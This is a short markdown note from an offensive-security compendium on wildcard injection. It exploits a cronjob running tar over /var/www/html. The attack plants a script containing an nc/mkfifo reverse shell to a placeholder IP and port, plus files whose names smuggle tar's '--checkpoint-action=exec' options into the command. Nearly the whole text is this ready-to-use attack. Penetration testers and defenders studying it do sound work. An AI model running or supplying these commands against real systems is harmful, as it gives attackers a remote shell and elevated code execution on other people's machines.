killchain-compendium/exploit/wildard_exploitation.md

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2021-08-23 01:13:54 +02:00
# Wildcard usage
* [Leon Juranic has shown it](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
## Another Example
* cronjob gets backup data from `/var/www/html` via `tar cf backup.tar *`. The reverse shell and the parameters need to be files in this directory to get called by tar and be executed.
```sh
echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > /var/www/html/shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"
```